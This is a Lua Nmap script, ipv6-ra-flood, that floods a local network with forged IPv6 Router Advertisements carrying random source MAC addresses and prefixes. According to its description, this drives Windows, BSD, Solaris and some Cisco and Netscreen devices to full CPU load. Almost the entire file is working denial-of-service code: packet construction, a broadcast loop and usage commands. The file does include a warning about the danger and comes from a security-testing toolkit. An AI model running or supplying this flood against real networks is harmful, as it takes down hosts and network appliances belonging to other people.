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local nmap = require "nmap"
local packet = require "packet"
local stdnse = require "stdnse"
local math = require "math"
local string = require "string"
local os = require "os"
description = [[ Generates a flood of Router Advertisements (RA) with random source MAC addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration enabled by default (every major OS),
will start to compute IPv6 suffix and update their routing table to reflect the accepted announcement. This will cause 100% CPU usage on Windows and platforms, preventing to process other application requests.
Vulnerable platforms:
* All Cisco IOS ASA with firmware < November 2010
* All Netscreen versions supporting IPv6
* Windows 2000/XP/2003/Vista/7/2008/8/2012
* All FreeBSD versions
* All NetBSD versions
* All Solaris/Illumos versions
Security advisory: http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt
WARNING: This script is dangerous and is very likely to bring down a server or network appliance.
It should not be run in a production environment unless you (and, more importantly,
the business) understand the risks!
Additional documents: https://tools.ietf.org/rfc/rfc6104.txt
]]
---
-- @args ipv6-ra-flood.interface defines interface we should broadcast on
-- @args ipv6-ra-flood.timeout runs the script until the timeout is reached (default: 30s). If timeout is zero, the script will run forever.
--
-- @usage
-- nmap -6 --script ipv6-ra-flood.nse
-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>'
-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>,timeout=10s'
author = "Adam Števko"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"dos", "intrusive"}
try = nmap.new_try()
math.randomseed(os.time())
prerule = function()
if nmap.address_family() ~= "inet6" then
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
return false
end
if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
return false
end
return true
end
local function get_interface()
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
local if_table = nmap.get_interface_info(arg_interface)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
return if_table.device
else
stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
end
end
--- Generates random MAC address
-- @return mac string containing random MAC address
local function random_mac()
local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return mac
end
--- Generates random IPv6 prefix
-- @return prefix string containing random IPv6 /64 prefix
local function get_random_prefix()
local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return prefix
end
--- Build an ICMPv6 payload of Router Advertisement.
-- @param mac_src six-byte string of the source MAC address.
-- @param prefix 16-byte string of IPv6 address.
-- @param prefix_len integer that represents the length of the prefix.
-- @param valid_time integer that represents the valid time of the prefix.
-- @param preferred_time integer that represents the preferred time of the prefix.
-- @param mtu integer that represents MTU of the link
-- @return icmpv6_payload string representing ICMPv6 RA payload
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags
0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer
local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
packet.numtostr32(mtu) -- MTU
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....", 0, valid_time) .. -- valid lifetime
packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
string.char(0,0,0,0) .. --unknown
prefix
local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
return icmpv6_payload
end
--- Broadcasting on the selected interface
-- @param iface table containing interface information
local function broadcast_on_interface(iface)
stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
-- packet counter
local counter = 0
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
arg_timeout = arg_timeout or 30
local dnet = nmap.new_dnet()
try(dnet:ethernet_open(iface))
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6_addr = packet.ip6tobin("ff02::1")
local prefix_len = 64
--- maximum possible value of 4-byte integer
local valid_time = tonumber(0xffffffff)
local preffered_time = tonumber(0xffffffff)
local mtu = 1500
local start, stop = os.time()
while true do
local src_mac = packet.mactobin(random_mac())
local src_ip6_addr = packet.mac_to_lladdr(src_mac)
local prefix = packet.ip6tobin(get_random_prefix())
local packet = packet.Frame:new()
packet.mac_src = src_mac
packet.mac_dst = dst_mac
packet.ip_bin_src = src_ip6_addr
packet.ip_bin_dst = dst_ip6_addr
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
packet:build_icmpv6_header(134, 0, icmpv6_payload)
packet:build_ipv6_packet()
packet:build_ether_frame()
try(dnet:ethernet_send(packet.frame_buf))
counter = counter + 1
if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
stop = os.time()
break
end
end
if counter > 0 then
stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
end
end
function action()
local interface = get_interface()
broadcast_on_interface(interface)
end